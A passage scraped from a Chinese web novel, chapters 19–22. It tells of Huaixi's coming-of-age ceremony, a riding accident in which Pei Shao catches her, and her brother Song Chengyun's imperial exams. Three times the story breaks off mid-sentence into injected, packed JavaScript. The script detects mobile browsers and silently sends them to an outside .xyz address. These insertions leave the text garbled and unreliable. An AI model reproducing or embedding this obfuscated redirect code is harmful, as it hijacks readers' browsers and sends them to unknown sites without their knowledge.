丁心兰这才回过神,也还了礼:“举人客气了,我与怀夕妹妹一见如故,何来叨扰。且今日,是我央她与我同去逛花灯,宋举人可别错怪怀夕妹妹了......” 丁心兰说这话的时候看着怀夕,见她还以感谢的表情,又想到刚刚马车里怀夕担心被哥哥责骂的神情,突然觉得好笑。 依她所见,她这哥哥,对她是极致的疼爱了,哪里舍得责怪她。 杨铭与宋承云在清河书院一同进学数月,也是第一次看到平日那位疏离有礼的少年奇才私底下对家人的样子。 月影下那道身影挺拔清隽,似雪般清冷的脸庞,却在对着妹妹的时候敛尽冰霜...... 两家人双双告别,丁心兰在迈进自家宅院时,还依稀听到几声甜腻腻的声音。 “今日是哥哥失约,夕儿的愿望得重新想一个......” “这盏灯是给哥哥挑的,祝愿哥哥鱼跃龙门,哥哥可喜欢?” 丁心兰心中忽然起了个念头,想听听那位冷淡的宋举人会对妹妹说什么。她顿住脚步,在丈夫惊诧的目光中向他嘘了一声。 可惜,对面的人已走远,她只听到门上闩的声音...... 19. 第 19 章 自平元十一年起,三个春秋,宅院里栽的梨花树已然开的热烈。 一簇簇雪白的花瓣坠在枝头,春风拂过,花瓣如雪纷扬而落,满院洁白。 怀夕坐在屋内的罗汉床上,半开轩窗,同院内捡着梨花瓣的小艾说话。 “一个一个捡到何时,你去寻块布子铺在树下更快些。” 小艾抬头,看向窗内半倚半坐懒洋洋的女子,道:“还是姑娘聪明。” 怀夕放下手里缝了一半的护膝,打了个哈欠,从床上抬着脚挪了挪,小心翼翼下了床,一拐一拐走向外屋。 笔,墨,纸,砚台,卷带,蜡烛,一枚平安符...... 一应物品摆在桌上,怀夕仔细对着手里纸条上列着的物品,一件一件清点,放进考篮内,确保万无一失。 过几天,哥哥就要上考场了。一连九日的春闱,哥哥已经准备了三年,万万不能在这些东西上出纰漏。 小艾挎着一篮梨花瓣推门走了进来,看到怀夕下了床,赶忙放下手中的篮子,就要过来扶她。 “没事,已经好多了。”怀夕叹了口气,“可惜明日不能送哥哥去考场了......” 今年三月三,怀夕刚办了及笄礼,脸上的婴儿肥褪去些许,脸儿粉白绯红,一双黑白分明的杏子眼灵动逼人,只是说话时还带着憨气。 “都怪裴劭,若不是那日他骗我骑马,我怎会从马上摔下来。”怀夕低头看着包得笨重的脚腕,恨恨说道。 哪有人及笄礼送给女子马鞭的。 小艾看着愤懑的怀夕,只得开解道:“小世子也是好意,何况是姑娘自己说想骑马的......那日好在小世子在,不然姑娘可能真得摔个狗朝天......” 这是什么话,狗朝天?怀夕看着小艾话里话外维护裴劭的模样,不由得更叹了口气。 虽说她摔倒时牵累他,害得他也扭伤了脚,可若不是他,郁心妹妹她们哪里会凑过来,而后惊了她的马。 - 两年前,怀夕同丁心兰在青元山踏春时,阴差阳错救了一位被蛇咬的夫人,后来那夫人上门感谢时,得知她哥哥在清河书院读书,还是宋承云,惊诧的同时又觉得欣喜。 原来那位夫人是王老太师独子王楚修的夫人——夏敏。 有救命之恩在前,加上几番相处,夏敏实在喜欢怀夕,便认了怀夕作干女儿。 夏敏出身北地将门,马背上长大,虽嫁给金陵簪缨世家,性子却依旧爽朗。不过在对儿女的教导却十分严格,要她们秉文兼武,连女儿都不例外。 怀夕当了她的干女儿后,夏敏征得宋承云同意,让怀夕进了她自己在王府为女儿开办的学堂,既学经书子集,也学骑射马艺。 也是在王家,怀夕见到元宵花灯节替她付了花灯银子的红衣男子。 原来,他唤裴劭。是常胜侯府的小世子,也是夏敏的亲外甥。 裴劭年幼失去双亲,小时是在夏敏这个姨母身边长大,待长到十二岁,皇帝念其父功劳,将他接到宫中当太子伴读,裴劭这才离开王府。 因着夏敏的缘故,之后几年,怀夕同裴劭见面的机会倒是多了许多。 夏敏有两个女儿,王郁雾和王郁心。 王郁雾比怀夕大了两岁,今年十七,已许了首辅家的嫡长子沈竟轩。王郁雾温婉端庄,又因夏敏亲自教养的缘故,比寻常闺阁女子又多了几分英气,与夏敏如出一辙地爽朗可亲,待怀夕十分亲近。 王郁心则比怀夕小一岁,因是家中最小,又是夏敏年近三十才生的女儿,是家中的小娇气包。与怀夕一样的精灵顽皮,是怀夕平日玩乐的主要伙伴。 因王家与首辅沈家结了亲,沈家的女儿也常来王家走动,一来二去,沈家的二女儿沈玉瑶也进了夏敏的学堂。 怀夕的及笄礼是夏敏亲自替她操办的,一应礼仪物品皆按从前王郁雾及笄礼时一样,办完后,请了自家婆婆,王老太君余氏当筮宾,后办了个家宴,还邀了杨铭和丁心兰一家,颇为隆重地为怀夕办了及笄礼。 说起怀夕扭伤的脚腕,是在三月二十夏敏的生日宴上。 夏敏出身将门,与京城里喜欢赏花吃茶的贵夫人不同,她喜欢热闹,酷爱骑射。因此,那日丈夫王楚修干脆将生日宴办在王府郊外的宅院。 那宅院有一大好处,离宅院不远处是一大片草场,既能打马球,又能策马跑上几圈。 临近春闱,宋承云未能一同来替夏敏祝寿,只托怀夕送来一副卷轴作为寿礼。夏氏当着怀夕的面打开那副卷轴,一旁的王大人王楚修看完也连连惊叹,怀夕见他们似乎都极为满意,也跟着笑了起来。 他们是提前一日到这郊外的宅院来的,第二日吃过早膳后,怀夕便跟着夏敏一行人来到马场,看着她们打了一早上的马球。 怀夕不会骑马,不过也丝毫不减兴致,在底下呐喊的也甚是开心。 两场马球过后,夏敏从场上退下来,边走进棚内边喘气:“年纪大了,若是从前,便是连打五场也不在话下。” 怀夕和王郁心都没有上场,怀夕不会骑马,王郁心却是不愿意弄脏衣裙。 王郁雾为哄母亲高兴,两场都上了。此时跟在夏敏身后,面容艳丽,虽小喘着,但还是笑着听夏敏自我打趣。 夏敏蔑了眼懒洋洋摊在薄毯上的小女儿,刚想说她几句,就被迎上来满眼艳羡的怀夕搀住了手,“敏姨真厉害,便是再过十年,也无人有敏姨马上英姿。”说完,她又看向王郁雾,“不过若是有人能盖过敏姨,那估计只能是郁雾姐姐了。” 夏敏和王郁雾被她逗笑,王郁心见状,也跑过来搂住夏敏另一侧手,附和道:“就是就是,母亲大人风范犹存...” 只是她还没说完,就被夏敏弹了一下脑门,“你怎么这么懒,难得出来走走.......” 王郁心不肯听,打断夏敏的话,“我这是留下来陪怀夕姐姐,我们都骑马去了,怀夕姐姐多无聊...” “借口。”夏敏一眼看穿她,却不想理她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916725|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头对怀夕说,“我同你王叔父说了,午后送一只小马驹过来,初学骑马,小马驹最是温顺。” 不过,要找谁教怀夕骑马呢? 夏敏看了大女儿一眼,王郁雾与母亲想到一处去,想到下午要见到的人,微微红了脸庞,垂下眼。 夏敏见大女儿难得害羞,不由发笑。一会首辅夫人与她的几个儿女也要过来,说是来贺寿,其实双方都知道,就是给儿女争取点见面的机会。 夏敏并不是顽固保守的人,最恨盲婚哑嫁那套,所以愿意女儿成亲前与未来夫君多接触下。 正当夏敏思索找谁来教怀夕骑马时,王郁心一眼就看穿母亲想法,毛遂自荐:“母亲放心,我来教怀夕姐姐骑马。” 夏敏狐疑地看着她。 王郁心信誓旦旦说道:“我八岁便能立在马背上,母亲还信不过我?左右怀夕姐姐刚学骑马,我在前头替她牵绳不就行了吗?” 暂时也想不到更好的人选,夏敏便答应下来,但还是吩咐了几个护卫随行,免得两个小女儿受伤。 - 首辅夫人到了,怀夕和王郁心被叫过去见了个礼。 沈玉瑶也跟着哥哥沈竟轩来了。 聊了一会,首辅夫人谭氏和夏敏会心一视,就叫他们散了。 首辅一家对这桩亲事极为看重,加上沈竟轩又是嫡长子,亲事一应事宜皆是谭氏亲自安排。 因梁家是书香世家,有些规矩比别的人家更着重些,谭氏也借着今日机会,想好好同夏敏商量提亲有关事宜。 出来后,沈玉瑶听说她们要去骑马,也说要去。 怀夕和王郁心是提前换好骑马装的,但沈玉瑶没有,也未提前准备。 不过她与王郁心身型相似,王郁心在这里常备骑装,便决定先带她回去换衣服。 怀夕便一个人先去了马场,没想到的是,她到的时候,看到一道熟悉的身影。 她已经几个月未见到裴劭了。 马蹄带出尘烟滚滚,怀夕看得并不十分真切。但不难看出,前面的人似乎更高了一些,更壮了一些。 裴劭看到她,牵拉缰绳,修长大腿一夹马腹,马儿飒踏如流星,朝她这里奔跑过来。 他故意在离她很近的地方挽缰勒马,居高临下,似笑非笑地看着她。 眼前少女比之他离京时似乎又高挑了几分,一袭红色骑马装愈发勾勒出她初露曲线的身型,青丝尽数挽起,露出一整张莹白面孔,干净剔透的眸子里不加掩饰的薄怒。 怀夕被扬起的风尘逼退了几步,用帕子半挡着风沙,转身就要走。 小艾跟在怀夕后面,快速朝裴劭行了个礼,便也要跟着走。 裴劭才知道自己逗得有些过了,利落翻身下马,几个大步跨了过来,挡在怀夕前面。 怀夕不看他,心里暗自腹诽,每次见他准没好事,这不,她的新裙子才第一次穿,就被他搞脏了。 “我错了。”小世子很是自觉,在怀夕没开口前先道歉。 20. 第 20 章 怀夕向来吃软不吃硬,见裴劭道歉,便也停住了脚步。 她在女子间身量算高,可平视过去,视线也堪堪在他肩上。 裴劭见怀夕盯着他的肩,不知道在发什么呆,故意沉声道:“几个月没见,你就是这个态度?” 怀夕皱了皱眉,什么态度? 他们也没那么熟吧...... 不过,若是深究,夏氏是她的干娘,也是他的姨母,那勉强还能算得上是表亲。 怀夕抬头看他,嘴角弯了弯:“听闻边疆困苦,裴世子这几月想必是风餐露宿,这一行倒是憔悴了许多。” ...... 裴劭皱了皱眉,不知怀夕说的是真是假。他昨日刚到京城,听闻姨母一家来了郊外,昨夜只小寐了一会,一早就打马来了这里。 难道真是有些憔悴? 也不至于吧,怎么说他的容貌在金陵城也是排得上号的。 裴劭也不跟怀夕计较,手不知道从哪掏出一根鞭子一样的东西,递给怀夕。 怀夕看着,问:“这是什么?” “马鞭。”裴劭似乎有些不好意思,咳了一声,正色道:“看不出来吗?” 的确不是很看得出来。 裴劭手里这根马鞭,跟夏敏他们用的有些许不同。鞭把儿用竹条加红绿丝线编成鳞文图案,鞭炳用柔软的皮革包裹,还有一串风铃缀在鞭扣绳上。 原来马鞭还有这样别致的样式,怀夕有些惊艳,但想着她又不懂得骑马,于是别扭说道:“你说了,我便看出来了。” 眼前女子明明对别人都是笑脸相迎的,可对他总是淡淡没什么好脸色。 可有什么办法呢。 裴劭隔着衣袖抬起她的手,将马鞭塞了进去,“送你的及笄礼。” 怀夕并不领情,拿在手上看了看,又递给他:“为什么送我?我又不会骑马......” 裴劭没错过小姑娘刚刚眼里闪过的一丝惊艳,不知是没发现还是不在意小姑娘的别扭情绪,也不解释,看到一旁系着的小马驹,笑道:“我教你。” 之后怀夕还没反应过来,她已经被裴劭托着,坐到马上。 ...... 上了马,怀夕也不矫情,立马在裴劭的指导下,抓紧了缰绳。 可手忙脚乱,手里的马鞭反而成了累赘,怀夕只好将它扔给跟在身侧的小艾。 裴劭见怀夕如临大敌,全身紧绷,安抚她:“小马儿很乖的,你放松些,不然它也会跟着你一起紧张的。” 怀夕瞪了他一眼,还不是他忽然托起她,让她措手不及,她才这般紧张的。不过她还是深吸了口气,慢慢让自己放松下来。 果然,马儿似乎能感受到她的情绪,立马也温和了下来。 见她终于能坐稳,裴劭拉着马儿的缰绳慢悠悠走起来,小艾则远远地跟着。 许是风高气爽,裴劭看起来心情很好,朗眉星目,嘴角一直微扬着,话似乎也比往常多了些。 “你知道吗?其实西北不似传说中那般只有荒野沙漠。”裴劭语调端得散漫,“穹宇苍苍,戈壁驼铃,别有一番景致。一望无际的平野,可以无所顾忌地策马奔腾在上面......” 听起来多好,多自由自在呀,怀夕低头觑他一眼,抿了抿嘴,“那你为何不开心?” 裴劭忽地回头,盯着马上人儿认真的双眸,心脏仿佛被什么东西抓了一下。他收回视线,仍是那副语调,“也没有不开心。” 怀夕也不追问,嫌裴劭走得慢,她试着拉了拉缰绳,小马驹便小跑了起来...... 裴劭惊叹于怀夕的胆大,不过看她坐得稳,也没阻止,他伸手往嘴边吹了个哨,他的马便哒哒向他飞奔过来。 裴劭翻身上马,慢悠悠跟在怀夕后面。 怀夕在这种事情上向来有天赋,草场上慢跑了两圈后,慢慢学会简单的御马。 王郁心和沈玉瑶到马场的时候,已然看到怀夕在远处慢慢地跑马。 王郁心是知道怀夕不会骑马的,顿时就有些急了,正要责问马场的随从,就看到怀夕后面还有一人慢悠悠地骑着马晃了出来。 “表哥?”王郁心惊讶道,她还不知道裴劭从边疆回来。 沈玉瑶见到裴劭,也是明显地一愣,不过很快反应过来,同王郁心一同跨上马,向他们的方向奔来。 马场的马儿一多,马蹄声哒哒从远到近,小马驹有些受惊,不似一开始那般温顺。裴劭看出怀夕拉着缰绳有些力不从心,骑上来,拉过她手里的缰绳,领着她骑回去。 王郁心马术精炼,跑近些看到裴劭的动作,便知道怀夕的马儿有些受惊,不再靠近,转而调转了方向,跟远些再跟在他们身后回来。 待怀夕从小马驹上跳下来,王郁心和沈玉瑶也跟随而到。 王郁心一下马,立刻就奔向裴劭,“表哥,你什么时候回来的?我怎么没听母亲说过?” 裴劭几乎是看着王郁心长大的,两人很是亲近,他点了点王郁心的鼻尖:“寄回来的信上写的很是清楚,恐怕姨母同你说了,是你没记住吧?” 王郁心哼了一下,拍走他的手,“哪有。” 待王郁心说完,一旁的沈玉瑶走上来朝着裴劭行了个礼,“见过裴世子。” 裴劭收了收脸上的笑意,轻轻颔首,“沈姑娘。” 王郁心还是小孩心性,又追着裴劭问了些他在西北吃喝拉撒的问题,可很快又觉得无趣,把目光落到小艾手里的马鞭上。 “咦,小艾,你手里拿的是什么?” 小艾看了看自家姑娘一眼,见她大剌剌坐在藤椅上吃葡萄,仿佛没听到王姑娘的话,一时有些犹豫,不知该不该说,好在裴世子将话接了过去。 “那个啊,我从西北带来的,先见到怀夕便给了她,你们的一会我让春阳送过去。” 王郁心听完,满意地点了点头,不再去看小艾手里的马鞭。 而沈玉瑶却不如王郁心好忽悠,在裴劭说过后,反而仔细瞧了一眼那马鞭,在瞥到鞭扣绳上系着的那串风铃后,眼神不由得深了深。 草长莺飞季节,连风都是温暖轻柔的。 怀夕吃够了葡萄,也休息够了,看着一旁的小马驹心头又有些痒痒的。 裴劭在一旁有一句没一句回着沈玉瑶和王郁心的话。怀夕对他们的对话不感兴趣,盘算着要不要再去骑两圈...... 只是她还没盘算完,裴劭便站了起来,说道,“我们再去跑两圈吧。” 怀夕抬头,发现裴劭正看着她,说:“去吗?” 王郁心放下手里吃了一半的茶果,站起来,颇有气势地喊道:“去。走吧,怀夕姐姐,这次我护着你。” 沈玉瑶也笑着点了点头。 正中怀夕心意,怀夕也点头,脸上明显跃跃欲试。 这次不用裴劭扶她,她自己踏着马鞍上了马,而后轻拉缰绳,小马驹便缓缓小跑了起来。 王郁心骑着大马跟在怀夕身后好一阵,在怀夕几番保证无事后,才驾了一声,同跟着沈玉瑶往远处尽情跑马去。 显然,怀夕还是高估自己了。 小马驹虽小,可还没经过完全的驯化,性子还野着。待王郁心和沈玉瑶驾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946604|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马奔腾而过时,小马驹可能是不满身上慢悠悠策马的人,忽地嘶鸣了一声,就往前冲。 ...... 事情发生地突然,着急之下,怀夕用力将缰绳往回拉,不料小马驹受到刺激,跑得更欢了。 小马驹毫无方向地撒野,很快就要跑到草场外的密林。怀夕实在拉不住,目之所至又看不见人,只能大喊着向周围求救。 马儿跑得越来越快,密林在眸里的倒影越来越清晰,惊恐之下,怀夕似乎听到有人在喊她的名字...... 可是她不敢回头,俯卧着抱着马脖,在马上颠得无法思考。 “扔掉缰绳。” ...... 耳边的风簌簌刮过,怀夕终于听清那人的声音。 “怀夕,丢掉缰绳。” 眼看小马驹就要钻进密林里,裴劭紧锁眉头,夹紧马腹。 很快,两辆马匹并驾骑行。 见小马驹在怀夕的动作下越发失控,裴劭大声喊道:“怀夕扔掉缰绳,往右边跳下来。” ...... 跳下来? 眼看就要撞上大树,已经不容怀夕思考了,听清裴劭的催促,怀夕扔掉缰绳,紧闭双眼,从马上用力一跃。 ...... 没有预想中扑了个狗吃屎,但也差不余了。 裴劭在怀夕跳下的那一刻,跃过去接住她,护着她小滚了两圈。 这样一番颠簸和滚动,怀夕的发髻早就掉落,几根钗环松松搭在发丝中,摇摇晃晃。 裴劭也没好到哪里去,跳下来给怀夕充当垫背,背部在滚动中似乎被哪颗尖利的小石子扎破,针扎般的痛感袭来。不过他没顾上自己,急着起来确认怀夕有没有受伤。 不走运,怀夕还真是受伤了。 跳马的时候脚往地上扭了一圈,脚腕接触地面钻心一痛,怀夕撑着从地上站起时,忍不住又要坐落地上。 裴劭见状,慌乱中抓住她的手腕。因力道没控制好,怀夕撞了他胸口一下,靠抓住他双袖站稳。 裴世子在京中素有盛名:丰神俊美如芝兰玉树,眉目朗朗如日月入怀,不知是多少闺阁女子的意中人。可此刻衣物被抓乱,面上还挂了彩,十分狼狈不堪。 不过此时的他却顾不上这些。 ——因为,怀夕离他太近了。 怀夕只顾着站稳,不知道在她拉扯的动作下,与裴劭靠得多近。 从后面看过去,如同裴劭将她虚揽在怀一般...... 裴劭慌乱地往后退了一步,却被怀夕扯着袖子又拉近。 被他退后的动作扯了一下,怀夕脚腕有钻心的痛,她忍不住喊道:“诶诶,别动,我脚扭了。” 听到她受伤,裴劭下意识想蹲下去看她的脚,但很快反应过来这动作不妥。他姿势僵硬地站着,往前也不是,往后也不是,耳廓渐渐泛红,忽然变得支支吾吾,“你先放开我...”试图掩饰自己的紧张,他咳了一下,继续说道:“你先放开,我去找人......” 听了裴劭的话,怀夕松开他的衣袖,试图自己站稳。一边脚用不上力,歪歪倒倒时,裴劭将手伸到她眼前。 “搭着。”裴劭并不看她,“先给你找个地方坐下来。” 怀夕实在无法自己前行,只好搭上,借着力找了路边一侧的石头坐下。 待裴劭转身唤来他的马,看到他锦白衣袍上不知何时晕染了一大抹暗红,怀夕才知道他也受伤了...... 马儿踢踏声慢慢远去,怀夕看着越来越远的那道身影,重重叹了口气...... 21. 第 21 章 会试一共三场,每场考三日,一共九日。 因怀夕脚伤,宋承云不让她送他进考场。 考试中途,裴劭的小厮春阳来过一次,送来了一瓶药,说是请太医调配的,专治扭伤。 药倒也好用,怀夕的脚很快就没那么痛了,可以下地行走,只是走得时候不能过长。 到会试的后半段,怀夕开始有些辗转不安。 对院的丁心兰也是。 其实能进清河书院进学,春闱几乎十拿九稳,只是看你能不能拿到靠前的名次。 只是等待的过程总是叫人煎熬,好在有丁心兰的女儿娇娇陪着逗乐,两人的注意力才勉强被转移开。 丁心兰午后带着娇娇来找怀夕玩,前阵子松毫在梨树下扎了个秋千。娇娇很喜欢,在上面荡,画眉在后面推,欢声笑语不停。 午后的阳光晒得暖洋洋,怀夕和丁心兰在用腌过的梨花瓣泡茶,刘婆子和小艾则在一旁做针线活。 丁心兰看着玩得灰头土脸的娇娇,忍不住叹了口气,“这小妮子一点都不像我小时,每日使不完的精力......” 丁心兰生孩子前身子一直体弱多病,可生了娇娇后,尤其是娇娇会走会爬后,她每日跟着跑动,身子似乎都健壮不少。 怀夕捏了枚蜜饯放到嘴里,含糊道:“我小时候更甚,什么爬树掏鸟窝,都是常事。” 怀夕一说话,丁心兰就忍不住打量着她。 浅黄色的衫子裙衬得她莹白小脸愈发粉嫩,褪去稚气后,杏儿眼愈发灵动起来,像剔透的琥珀,那股灵气叫人舍不得移开眼。 她笑着说道:“你这么说我就放心了,娇娇若能像你这般脾气,倒是合了我心意。” 丁心兰说得怀夕有些不好意思,她没说的是,她从前好动,给娘亲和哥哥惹了不少麻烦。 丁心兰玩笑道,“若是我有哥哥或弟弟,定是让他们抢都要将你抢到家里去。”不过说完她又有些伤感,也不知道这次会试后,她与怀夕会何去何从。 怀夕懵懵懂懂,“抢我做啥?” 被怀夕一打岔,丁心兰的伤感消散,看着不远处的女儿,压低了声音笑道:“抢你当压寨夫人。” ...... 怀夕白了她一眼。 丁心兰笑了一阵,不知道想到什么,又正色道:“你如今已经及笄,若是你娘亲在,婚事也该说起来了。” “不过也没事,你哥哥对你的事向来上心,待过了这趟春闱......” 怀夕捏了一盏腌梅子塞进她嘴里,堵注她的话,“姐姐比婆子还啰嗦。” “......” - 到了会试最后一日,怀夕和丁心兰很早就到考场外候着。 考试是下午申时才结束的,可两人在家里都耐不住性子,索性早些出门,也不叫马车,一路走过来。 因着春闱,金陵城这阵子尤其热闹。各地的学子齐聚,打尖的吃饭的无一不涨价,小摊小贩也比往前多得多。 一路逛过去,娇娇和怀夕手上都多了一串吹糖人儿。 在考场外等了半刻钟,就有考生陆陆续续走出来。 自有人走出来后,怀夕觉得手上的糖人儿都不甜了,踮着脚一直往考院里望。 很快就看到丁心兰的丈夫杨铭,怀夕赶紧指给丁心兰看,丁心兰抱着娇娇急忙朝着他丈夫挥手。 终于,怀夕看到哥哥也走出来了。 宋承云在怀夕朝她挥手的那一刻目光立刻聚到她身上,又落到她脚边,见她欲跑过来,急忙跨大了步子。 刚从考场出来,几日未能梳洗换衣,宋承云向来爱洁,不愿身上的脏污沾染到怀夕,待怀夕站稳后又将她微微推开。 怀夕自见到宋承云,笑容就没有从脸上下来过。围着左看看右看看,对他难得不修边幅的样子极是新奇。 宋承云无奈地任她看着,待有清河书院的同窗见到他,过来打招呼,才把怀夕拉到身后。 怀夕在宋承云身后,很快又伸出手对着前面挥了挥。 宋承云顺着她挥手的方向看去。 ——是王老太师家的马车。 王老太师的孙子,夏敏的二儿子王司时,也参加此次春闱。 马车里,王郁心拎着裙摆小步走了下来,之后,夏敏也走了出来。 宋承云带着怀夕上前见礼,在看到夏敏身旁的裴劭时,也拱手唤了声世子。 在夏敏和宋承云寒暄之时,裴劭不着痕迹从夏敏身后走到怀夕和王郁心边上。 待看到怀夕手里半融的糖人儿,忍不住笑了,对她说道:“今日能出来接你哥哥,看来脚好了?” 怀夕平铺掌心给王郁心挑刚刚买的小玩意,听到裴劭的话,抬起头,视线往上腾挪。 靛蓝色流云纹长袍与他顶嵌玉的小银冠交相辉印,衬得他眉眼愈发疏朗,整个人朝气洋溢,少了上次见到时那种舟车劳顿的疲惫。 王郁心拿过怀夕手里两只泥塑雕像,歪着头苦恼挑哪一只,无心理会自家表哥。 怀夕点了点头,“好了。”想到他送来的药,又道,“多谢你送的药。” 裴劭轻笑,“你若还道谢,我可就无地自容了。” 怀夕提了提眉。 裴裴笑着解释:“是我没教好,才累得你从马上摔下来。” “当然不是。”怀夕反驳道。 虽然因为脚痛无法送哥哥到考场,自己曾在心里怪天怪地怪过他。可她也知道,不关裴劭的事,若不是他,可能这次伤得就不止是脚了。 王郁心终于选好了,把另一只递回给怀夕。 时间场合都不对,夏敏也只简单同宋承云说了几句就道别了。 宋承云转身,见怀夕同裴劭正说着话,眼里闪过一丝意外。 怀夕原本还要说什么,但余光瞥见宋承云走近,便立马就走回他身侧,显得十分乖巧。 “走吧?”宋承云说道。 看着哥哥眸里的红血丝,怀夕连连点头。 “妹妹,这个也送给你。”怀夕把手里的泥塑也给了王郁心,道了别后跟在宋承云身后往回走。 可没走几步,不知想到什么,拉住宋承云的袖子,示意他等等, 裴劭还站在原地,看着怀夕小跑两步,站定在他面前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952714|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>眸子清澈如水,印着天光,明亮得晃眼。 “你背后的伤好了吗?” 眼前少女抬着头,干净剔透的五官映入他的眼帘,眼睛一眨不眨地等着她的问题。 她知道他也受了伤? 其实只是皮外伤,可裴劭却下意识地摇了摇头。 果然,那少女听完,紧紧抿着嘴唇。 见她好似不高兴,他又连忙说道:“很快就好了。” 带着保证的意味,他不想因他的话让她平添几分烦恼 果然,眼前的女子转瞬就笑眯了眼,对着他叮嘱了一句:“那算我欠你一个人情,你好好养伤。” 说完后,她就像一直翩跹的蝴蝶,落回到他哥哥身边。 裴劭看着前方那道卓然而立的清隽身影,眸底划过一丝艳羡。 - 熬了几个钟的鸡汤还在炉上温着,灶上一直烧着水,主人还没回来,刘婆子便一直反反复复地添着柴火。 待听到路口马车轱辘的声音,刘婆子赶紧将备好的桶提过来,将烧好的热水倒进去。 果不其然,宋承云回到家的第一件事,便是吩咐备水梳洗。 衣物也是怀夕让松毫提前备好的,宋承云一进澡房,便看到已经准备妥帖的物品。 他眼眸轻轻垂下,开始解身上的衣物。 考场几日吃的都是带过去的干粮,晚膳怀夕让刘婆子熬了一锅清淡的鱼皮粥,又做了几道宋承云平日爱吃的小菜,兄妹二人时隔多日一起进膳。 饭桌上,怀夕几次看着宋承云欲言又止。 哥哥吃饭的时候很少说话,可是她又有些憋不住。 最后还是宋承云见她许久没动筷,夹了一筷子鱼肉给她,说道:“下次让刘婆子做你爱吃的菜就好。” 怀夕见哥哥主动开口,往哥哥身边挪近了些,“哥哥,我听圆圆姐姐说放榜是在下月,那放榜前你还需到书院么?” 会试前好长一段时间宋承云都住在书院,怀夕已经有好些时日没有见到他了。 宋承云轻笑,“我还以为你想问哥哥考得好不好。” “哥哥怎会考不好。”怀夕坐直了身子,“不过,若是考得不好也没关系,怀夕陪哥哥继续考。” 宋承云自小便被寄托厚望,所有人在他面前都是毫不怀疑的笃定,坚信他能攻无不克,战无不胜。 可其实他并不喜欢这种感觉。 妹妹这样孩子气的说法,不知为什么,他听完,只觉得熨贴。 宋承云回道:“放榜前无须去书院。”在怀夕期待的目光下,他继续说道:“从前失约的,哥哥都重新陪你再做一次,可好?” 怀夕压不住雀跃,当场就可以开始数着指头,“平元八年的元宵灯节哥哥失约,前年生辰哥哥说要替我画像还没画,答应要给我做的纸鸢还没做完,陪我去青元山踏春......” 怀夕把这几年宋承云未曾做到的每一件事如数家珍...... 不过,宋承云马上就听出端倪,“我从前什么时候答应过要陪你去踏春了?” 怀夕丝毫没有被抓包的自觉,不满地抗议:“哥哥!” 22. 第 22 章 等待放榜的日子,宋承云虽未去书院,每日读书的习惯却没有变。 不过他的心态却十分平和,仿佛刚考完的会试只是普通的一场考试。 怀夕也不紧张,无论考得好不好,对怀夕而言其实没那么重要,她只要能陪在哥哥身边就好了。 放榜在四月份,若是榜上有名,五月初还有殿考,殿考之后还有考试。 总之,若是考上了,宋承云该又有一阵子忙碌了。所以,兄妹俩默契地享受此段较为闲暇的时光。 - 春雨绵绵,金陵城在谷雨前后,有“吃春”的习俗。 刘婆子一早在集市上买了一捆紫椿芽,此时,她坐在厨房外摘芽,感叹今年的香椿嫩得很。 怀夕原本想着今日去青元山踏春赏花的,可不知怎地,昨日艳阳高照,今日雨势却越下越大。 她闲着无聊,听到刘婆子的声音,从屋里转了出来,欲帮忙摘芽。 刘婆子却不肯,“虽在屋檐下,雨丝还是飘得进来。姑娘快些进屋,若是着凉了倒是老婆子的过错了。” 怀夕正要推说没事,松毫就从宋承云书房内走了出来,小跑到怀夕面前,笑道:“姑娘,公子请您过去。” 怀夕一走,刘婆子和松毫相视一笑。 他们这姑娘什么都好,只一点,精力旺盛地很,静不下来。 很快,刘婆子和松毫又听到怀夕呼唤小艾的声音。 “小艾,哥哥要替我画像,快帮我把那套团蝶烟罗绮云裙找出来...” ...... - 宋承云的书房不大,进门左边放着一排多宝阁,藏书分门别类整齐排放。 西南墙上挂着一个横额,上面写道静以修心,款书微之。 ——是宋承云父亲宋景湛的字。 再往里看,内屋窗下还摆了一张小榻,榻上铺着一张龟背如意花样的小绒毯。 一本没有封面的话本子倒扣在绒毯上,与屋里端重的其他书籍格格不入。 正中书桌前,青白釉梅瓶里斜插了几株绿竹,笔墨纸砚整齐搁置在上。 宋承云有条不紊地铺好纸张,调好墨水。 怀夕在屋里奔奔停停,好一会,才选中窗边的位置,落坐在小榻上,问道:“哥哥,坐在这里好么?” 宋承云点头。 “那我手里要拿点什么吗?” “不用。” “你舒服地坐着就好。” ....... 怀夕一开始兴致勃勃,做得十分端正,可哥哥作画的时候很少抬头看她。 一刻钟不到,怀夕姿势渐渐变形,最后,人软软地倚靠在榻上...... 宋承云也不说她,笔触不停...... 不久,怀夕开始耐不住性子了,支着一只手臂,催促问道:“哥哥,好了吗?” 